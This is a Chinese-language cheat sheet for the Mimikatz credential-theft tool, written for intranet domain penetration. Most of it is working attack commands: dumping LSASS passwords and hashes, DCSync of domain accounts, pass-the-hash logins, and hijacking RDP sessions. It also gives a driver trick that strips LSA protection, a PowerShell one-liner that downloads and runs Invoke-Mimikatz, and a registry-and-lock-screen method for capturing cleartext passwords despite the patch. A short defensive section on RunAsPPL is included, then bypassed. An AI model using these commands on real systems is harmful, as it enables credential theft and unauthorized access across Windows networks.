神器mimikatz

Mimikatz 是从 Windows 系统中收集凭证数据最好的工具之一。事实上,我个人认为 Mimikatz 是收集 Windows 系统凭证数据的“瑞士军刀”(多个利器的集合)
一个可以做任何事情的工具。由于 Mimikatz 的作者 Benjamin Delpy 是法国人,所以描述关于 Mimikatz 用法的资源都是法语的,至少在他的博客中是这样的
Mimikatz 的 GitHub 页面是英文的,包括了命令的用法等有用信息。
Mimikatz 是 Benjamin Delpy (@gentilkiwi) 在 2007 年使用 C 语言编写的一个 Windows x32/x64 程序,用于了解更多关于 Windows 的凭据数据(并作为 POC)
有两个可选的组件能提供一些额外的功能,mimidrv(与 Windows 内核交互的驱动程序)和 mimilib(绕过 AppLocker,验证包/SSP,密码过滤器以及用于 WinDBG 的 sekurlsa)

在用户登录之后,会生成很多凭证数据并存储在本地安全权限服务的进程(LSASS)内存中。其目的是为了方便单点登录(SSO)在每次对资源进行访问请求时确保用户不会被提示。凭证数据包括 NTLM 密码哈希,LM 密码哈希(如果密码长度小于 15 个字符),甚至明文密码(以支持其他的 WDigest 和 SSP 认证)。虽然可以阻止 Windows 创建 LM 哈希到本地计算机的 SAM 数据库(或 AD 数据库),但这并不能阻止系统在内存中生成 LM 哈希。默认情况下,在 Windows Server 2008 和 Windows Vista 中不再生成用户的 LM 哈希,除非明确的启用了该功能。从 Windows 8.1 和 Windows Server 2012 R2 开始,LM 哈希和“纯文本”密码将不在内存中生成。此功能也被“移植”到了较早版本的 Windows 中,Windows 7/8/2008 R2/2012 需要打 kb2871997 补丁。为了防止在 LSASS 进程中放置“明文”密码,下面的注册表键被设置为0需要修改为1

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest 'UseLogonCredential'(DWORD)

exe
https://github.com/gentilkiwi/mimikatz
powershell
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

exe版使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
提升权限
privilege::debug

清屏
cls

日志
log
将所有输出记录到文件mimikatz.log默认情况下

退出
exit

查看mimikatz的版本
version

查看当前登录的系统用户
system::user

查看计算机名称
system::computer

列出进程
process::list

暂停进程
process::suspend 进程名称

结束进程
process::stop 进程名称

列出系统的核心模块及所在位置
process::modules

列出系统的服务
service::list

移除系统的服务
service::remove

启动或停止服务
service::start stop 服务名称

列出权限列表
privilege::list

激活一个或多个权限
privilege::enable

打开系统的cmd.exe
nogpo::cmd

打开系统的注册表
nogpo::regedit

打开任务管理器
nogpo::taskmgr

显示所有会话id
ts::sessions

劫持rdp切换到别的的用户桌面会话
ts::remote /id:

显示进程和对应的pid情况等
ts::processes

dcsync直接从NTDS.DIT中检索密码
lsadump::dcsync /domain:*** /all /csv

使用/user参数指定域用户名,Mimikatz可以转储特定用户的所有帐户信息,包括其密码哈希
lsadump::dcsync /domain:*** /user:test

向 LSA Server 质询检索 SAM/AD 的数据
"privilege::debug" "lsadump::lsa /inject"

获取本地用户信息及密码
sekurlsa::wdigest

获取tspkg用户信息及密码
sekurlsa::tspkg

获登陆用户信息及密码
sekurlsa::logonPasswords

取消多用户远程登陆限制
ts::multirdp

列出 Kerberos 密钥
SEKURLSA::Ekeys

列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)
SEKURLSA::Kerberos

获取域中 Kerberos 服务帐户(KRBTGT)的密码数据
SEKURLSA::Krbtgt

列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的计算机的凭证。
SEKURLSA::LogonPasswords

将获取到的信息保存到txt中
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

在内网域渗透中知道用户名和哈希值但解密不了可以这样
使用NTLM hash远程连接
mimikatz "privilege::debug" "sekurlsa::pth /user:*** /domain:*** /ntlm:***"
"/run:mstsc.exe /restrictedadmin"
"/run:cmd"
默认为运行cmd
dir \\ip\c$

启用LSA保护
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa设置注册表键的值为:RunAsPPL=dword:00000001
创建一个新的 GPO 并浏览到 计算机配置—首选项-Windows设置。右键单击注册表—新建,然后单击注册表项。弹出新的注册表属性对话框。
在配置单元列表中,单击HKEY_LOCAL_MACHINE在注册表键路径列表中浏览到SYSTEM\CurrentControlSet\Control\Lsa 在值名称框中,输入 RunAsPPL,在值类型框中单击 REG_DWORD ,在数值数据框中,输入 00000001,最后单击确定
LSA 保护阻止了一个非受保护的进程与 LSASS 进行交互。但是 Mimikatz 仍然可以使用驱动程序绕过!+
Mimikatz# !+
Mimikatz# !processprotect /process:lsass.exe /remove

powershell使用

1
2
3
4
5
6
set-executionpolicy remotesigned 取消执行限制

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"

Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz

在windows2012和windows8下Mimikatz无法显示明文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
原因KB2871997补丁
更新KB2871997补丁后,可禁用Wdigest Auth强制系统的内存不保存明文口令,此时mimikatz和wce均无法获得系统的明文口令。
但是其他一些系统服务(如IIS的SSO身份验证)在运行的过程中需要Wdigest Auth开启,所以补丁采取了折中的办法——安装补丁后可选择是否禁用Wdigest Auth。
当然,如果启用Wdigest Auth,内存中还是会保存系统的明文口令。
方法:
修改注册表——等待用户登陆抓取密码

修改注册表开启UseLogonCredential
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

锁屏
锁屏操作的快捷键为Win+L
cmd下命令为:
rundll32 user32.dll,LockWorkStation

等用户下次再登录的时候,可抓到明文密码
mimikatz.exe privilege::debug sekurlsa::logonpasswords

参考:https://wooyun.js.org/drops/Mimikatz%20非官方指南和命令参考_Part3.html
https://blog.csdn.net/qq_27446553/article/details/51745845
http://www.91ri.org/15178.html
http://www.91ri.org/15185.html
英文:https://adsecurity.org/?page_id=1821#MISCMemSSP